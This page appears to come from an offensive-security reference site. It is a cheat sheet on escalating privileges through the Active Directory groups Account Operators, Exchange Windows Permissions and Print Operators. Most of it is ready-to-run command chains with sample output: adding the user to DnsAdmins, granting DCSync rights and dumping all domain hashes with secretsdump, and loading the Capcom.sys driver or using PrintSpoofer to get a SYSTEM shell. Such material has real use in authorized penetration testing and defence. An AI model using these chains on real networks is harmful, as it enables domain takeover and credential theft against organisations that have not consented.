# Privileged Group Abuse

> Exploiting high-privileged AD groups (Domain Admins, Backup Operators, etc.) to escalate privileges, move laterally, and gain domain-wide control.

- **URL:** https://hackindex.io/platforms/active-directory/privilege-escalation/ad-privileged-group-abuse
- **Path:** Active Directory > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/active-directory/privilege-escalation.md)
- **Published:** 2026-06-11
- **Updated:** 2026-08-11

Several AD groups below Domain Admins grant indirect paths to domain compromise through privilege assignment, ACL rights on the domain object, or the ability to add users to attack-enabling groups. These groups are frequently over-populated in real environments and are high-value lateral movement targets. Check your current group memberships immediately after gaining any elevated account.

- Account Operators: create and modify users and groups, add yourself to DnsAdmins
- Exchange Windows Permissions: WriteDACL on the domain object, direct path to DCSync
- Print Operators: SeLoadDriverPrivilege and interactive DC logon rights

## Account Operators

Account Operators can create and modify most user and group objects except for protected groups (Administrators, Domain Admins, etc.). The key attack is adding yourself to DnsAdmins, which allows loading a malicious DLL in the DNS server process running as SYSTEM on the DC.

#### Kali (bloodyAD)

**Account Operators: DnsAdmins escalation (Kali)**

```bash
# Confirm Account Operators membership
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $USER --attr memberOf

# Add self to DnsAdmins
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember DnsAdmins $USER

# Verify
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object DnsAdmins --attr member
# distinguishedName: CN=DnsAdmins,CN=Users,DC=corp,DC=local
#   member: CN=$USER,CN=Users,DC=corp,DC=local
```

#### Windows (PowerView)

**Account Operators: DnsAdmins escalation (Windows)**

```powershell
# Check Account Operators membership
Get-DomainGroupMember -Identity 'Account Operators' | Where-Object {$_.MemberName -match $USER}

# Add self to DnsAdmins
Add-DomainGroupMember -Identity DnsAdmins -Members $USER

# Native: no tools
net group DnsAdmins $USER /add /domain
```

After joining DnsAdmins, inject a malicious DLL into the DNS server process. See [DNSAdmins Privilege Escalation](https://hackindex.io/platforms/active-directory/privilege-escalation/dnsadmins-privilege-escalation) for the full DLL injection chain.

Account Operators can also reset passwords for non-protected accounts and create machine accounts up to the `ms-DS-MachineAccountQuota` limit. Creating a machine account lets you set its SPN and use it in RBCD chains or Kerberoasting.

## Exchange Windows Permissions

Exchange installs grant this group WriteDACL on the domain object. WriteDACL on the domain lets you grant any account DS-Replication rights, enabling DCSync. This is a direct path from any Exchange Windows Permissions member to full domain compromise.

#### Kali (bloodyAD)

**Exchange Windows Permissions: DCSync rights (Kali)**

```bash
# Confirm Exchange Windows Permissions membership
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $USER --attr memberOf

# Grant DCSync rights to current account (WriteDACL lets you add any ACE)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add dcsync $USER

# DCSync the domain
impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc
# [*] Granted DCSync rights successfully
```

#### Windows (PowerView)

**Exchange Windows Permissions: DCSync rights (Windows)**

```powershell
# Grant DCSync rights via WriteDACL on domain object
$DomainDN = (Get-ADDomain).DistinguishedName
$SID = (Get-DomainUser -Identity $USER).objectsid

Add-DomainObjectAcl -TargetIdentity $DomainDN -PrincipalIdentity $USER -Rights DCSync

# Verify: should see DS-Replication-Get-Changes entries
Get-DomainObjectAcl $DomainDN -ResolveGUIDs | Where-Object {$_.IdentityReferenceName -match $USER}
```

After granting DCSync rights, run [DCSync](https://hackindex.io/platforms/active-directory/exploitation/active-directory-dcsync-and-domain-takeover) to dump all domain hashes.

**Note**: Microsoft Exchange security updates (2019+) removed `Exchange Windows Permissions` from having these rights in newer installs. This path depends on the Exchange version and whether CU updates were applied. Check with BloodyAD `get writable` whether WriteDACL on the domain object is still present.

## Print Operators

Print Operators receive `SeLoadDriverPrivilege`: they can load and unload kernel drivers. This allows loading a malicious driver to escalate to SYSTEM. Print Operators also have interactive logon rights to domain controllers by default.

#### Windows (EoPLoadDriver)

**Print Operators: driver load to SYSTEM**

```powershell
# Confirm SeLoadDriverPrivilege
whoami /priv

# Enable SeLoadDriverPrivilege (disabled by default even when assigned)
# Load EoPLoadDriver to register a driver service
.\EoPLoadDriver.exe System\CurrentControlSet\MyService C:\Windows\Temp\Capcom.sys

# Exploit Capcom.sys for arbitrary kernel code execution → SYSTEM shell
.\ExploitCapcom.exe

# Alternative: PrintSpoofer if local SeImpersonatePrivilege also present
# On Kali: /usr/share/windows-resources/printspoofer/PrintSpoofer64.exe
.\PrintSpoofer64.exe -i -c cmd.exe
# SeLoadDriverPrivilege     SeLoadDriverPrivilege     Enabled
# [+] SeLoadDriverPrivilege enabled
# [+] Driver loaded successfully
# [+] Spawning SYSTEM shell
```

#### Kali (via DC logon)

**Print Operators: interactive DC access**

```bash
# Print Operators have interactive logon rights to DCs
# If RDP is open on DC:
xfreerdp /u:$USER /p:$PASSWORD /d:$DOMAIN /v:$TARGET_IP

# Or via evil-winrm if WinRM allowed
evil-winrm -i $TARGET_IP -u $USER -p $PASSWORD
```

EoPLoadDriver and Capcom.sys are older techniques: AV and EDR solutions now flag Capcom.sys. Modern alternatives include Printconfig.dll hijacking or abusing SeLoadDriverPrivilege with a signed-but-vulnerable driver. The interactive DC logon path via RDP is simpler when available.

## References

- [BloodyAD (GitHub)](https://github.com/CravateRouge/bloodyAD) - add groupMember and add dcsync commands
- [PowerSploit / PowerView (GitHub)](https://github.com/PowerShellMafia/PowerSploit) - Add-DomainGroupMember, Add-DomainObjectAcl for DCSync rights
- [EoPLoadDriver (GitHub)](https://github.com/TarlogicSecurity/EoPLoadDriver) - Loads arbitrary kernel drivers using SeLoadDriverPrivilege
- [HackTricks: Privileged Groups](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges) - Reference for Account Operators, Print Operators, Exchange Windows Permissions abuse chains